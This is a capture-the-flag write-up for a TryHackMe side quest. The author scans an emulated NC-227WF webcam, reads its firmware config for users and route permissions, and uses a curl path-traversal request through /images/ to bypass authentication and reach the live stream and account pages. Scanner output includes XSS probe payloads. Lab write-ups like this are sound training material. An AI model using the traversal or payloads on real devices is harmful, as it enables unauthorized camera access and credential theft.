AoCyber: Side Quest 2 Part 1

TL;DR: Path traverse through /images/ to get to the live view page with the flag.

AoCyber: Side Quest 2 Part 1

See this years' other rooms as well:

SQ 1: Day 0
SQ 2: Day 6
SQ 3: Day 11
SQ 4: Day 20

Index of this challenge:


There wasn't much to start with, just a prompt to look around and dive into a digital snowstorm. At the time, the second hint of "stay stealthy" hadn't yet been released, but it would have saved me some time! I believe the apps were a bit unstable to aggressive scanning and would cause them to fall over. We'll learn a bit more about the reason for this as we go through the article.

I like to go through the OSI model when thinking about what am I looking for. Ports are a great way of seeing which paths forward I might have as they are the most likely to be exploitable. Then I follow with looking for clues/exploits for session handlers like Apache, followed by application level debugging.


└─$ sudo nmap -sC -sV -p- -vv --min-rate 1500 >> /dev/null      

└─$ cat nmapout.article 
Starting Nmap 7.94 ( ) at 2023-12-10 12:17 PST
Nmap scan report for
Host is up, received echo-reply ttl 61 (0.19s latency).
Scanned at 2023-12-10 12:17:57 PST for 94s
Not shown: 65531 closed tcp ports (reset)
22/tcp    open  ssh        syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
23/tcp    open  tcpwrapped syn-ack ttl 60
8080/tcp  open  http       syn-ack ttl 60 Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: TryHackMe | Access Forbidden - 403
50628/tcp open  unknown    syn-ack ttl 60
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.0 302 Redirect
|     Server: Webs
|     Location: http://NC-227WF-HD-720P:50628/default.asp
Nmap done: 1 IP address (1 host up) scanned in 97.72 seconds
           Raw packets sent: 71507 (3.146MB) | Rcvd: 70485 (2.819MB)

3 services, and I'll break down each in their own sections in order.

50628 "Webs":

This one feels a lot more promising, however a simple "admin/admin" doesn't get me in as the Google'd default credentials would promise. Oh well.

└─$ nikto -host
- Nikto v2.5.0
+ Target IP:
+ Target Hostname:
+ Target Port:        50628
+ Start Time:         2023-12-07 12:36:25 (GMT-8)
+ Server: Webs
+ /: The anti-clickjacking X-Frame-Options header is not present. See:
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See:
+ Root page / redirects to:
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /themes/mambosimple.php?detection=detected&sitename=</title><script>alert(document.cookie)</script>: Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). See:
+ /index.php?option=search&searchword=<script>alert(document.cookie);</script>: Mambo Site Server 4.0 build 10 is vulnerable to Cross Site Scripting (XSS).
+ /emailfriend/emailnews.php?id=\"<script>alert(document.cookie)</script>: Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). See:

Nikto swears that this site has hundreds of vulns, but it looks more like it's hitting confusing filters for most of them so I'm going to truncate those in this output:

└─$ gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x txt,js,php,html -t 40 --timeout=3s -o gobuster-task2-3.txt --retry --timeout=1s -b 401
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   401
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,js,php,html
[+] Timeout:                 1s
Starting gobuster in directory enumeration mode


└─$ cat gobuster-task2-3.txt        
/mobile               (Status: 302) [Size: 211] [-->]

And a gobuster enumeration for good measure.

Did not find much in this to give me a good hint at what we're looking at.

The old fashioned browser result shows some interesting info though.

This is an ASP app served by "Webs", the default login takes you to /en/player/flash_vga.asp, and it's protected with basic auth.

Let's google up vulnerabilities for this webcam "NC-227WF HD 720P"

Oh clever. I suppose in the real world I could always just go buy a copy of the device and have it locally to dump and debug. It appears therealsaumil has a great vulnerability testing product for IOT devices and this happens to be one of them! The real likelihood is that this is the exact same one but we don't have to assume that. Let's load this up on docker and explore the contents per the github instructions.

The github has some great documentation on the layout of the project, but the gist is as follows:

Socat routes ports to QEMU VMs in the container that effectively work as sub containers within the emux container. And since we have the file system and running image to start with, let's just take a look and see what we find.

-- Below is hosted locally on my attack box for testing.–

In our running processes on the container, we can see reference to our "webs" server per the header output information. Let's see if we can take a quick crack at that.

I don't see any open file handles by that service, and there's no (easy) documentation on where it's getting its web configurations from (as I assume... hope) there must be. sigh let's open our decompiler and exfil the from the repo (as found in our open file handles) to start debugging this binary. Remember that this is an ARM compiled bin.

I really like looking at defined strings in these binaries as they're almost always useful, and they're readable-low-hanging-fruit. Who doesn't like easy?

In fact, just looking for config files, I see several here! Mostly related to umconfig.txt and one going to webs.conf.

Looking at umconfig.txt we already hit paydirt:

An INI table of users, passwords, and route permissions by group. Ah the secrecy!

This confirms our hypothesis that the default password was changed from "admin" as it sits here not being "admin" on the remote box. Touche THM.

But now we have some other things. Routes tend to work as a matching mechanism by various headers. URI headers (the part of the GET/POST call that has the /thing/here) are very common to map things like paths to other web servers, or to advanced rule sets, or even rewrites for things like redirects or to change the content of a site before being served.

In this path we can now see things that have access to guest, but also things that can only be seen by authenticated user groups:

Right next to each-other we have the path for both a guest location block, and the one that looks like it will match our initial /en/player/flash_vga.asp redirect.

Let's verify this assumption.

Yup, here's an image that an unauth'd (me) user can see on an /??/images/ route.

And a path that should be blocked by the /??/player/ location block.

So what happens if we try to navigate to a page in player, but try to get the images location block to trigger?

Oh a redirect will happen. Good on you super secure IOT device! Wait... a redirect means we hit a page... let's throw this in curl and see what happens...

└─$ curl  -v --path-as-is ''
*   Trying
* Connected to ( port 50628
> GET /en/images/../player/flash_vga.asp HTTP/1.1
> Host:
> User-Agent: curl/8.4.0
> Accept: */*
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Date: Wed Dec 31 21:55:54 1969
< Server: Webs
< Pragma: no-cache
< Cache-Control: no-cache
< Content-type: text/html
<title>Network Camera Home Page</title>
        <td width=416 height=42 background="../../images/flash_vga_right_top.png">
                <table width=100% border=0 cellspacing=0 cellpadding=0>
                        <td align=right>
                                <font color=#000000>
                                <a href="../login.asp" target="_top"><font color=#000000>Home</font></a>
                                <a href="../main.asp" target="_top"><font color=#000000>Setting</font></a>
                                <a href="flash_vga.asp?stream=0">Primary Stream</a>
                                <a href="flash_vga.asp?stream=1">Secondary Stream</a>
                        <td width="2%">&nbsp;</td>
<embed src="rtmp://" quality="high" b
        file: "rtmp://",
        width: "640",
        height: "480",
        autostart: true,
* Closing connection

Let's follow some of those stream links to see if we can see where the camera is hiding.

After looking through player files from my local system and following around links with our reproduction of the directory traversal we have liftoff.

The First Flag

Now we can go a level deeper. There's also account management in this web interface.

Dang not even trying to obscure the passwords.

Full webcam access!

But wait, there's more? Tune in next time for rooting this box and getting the second flag.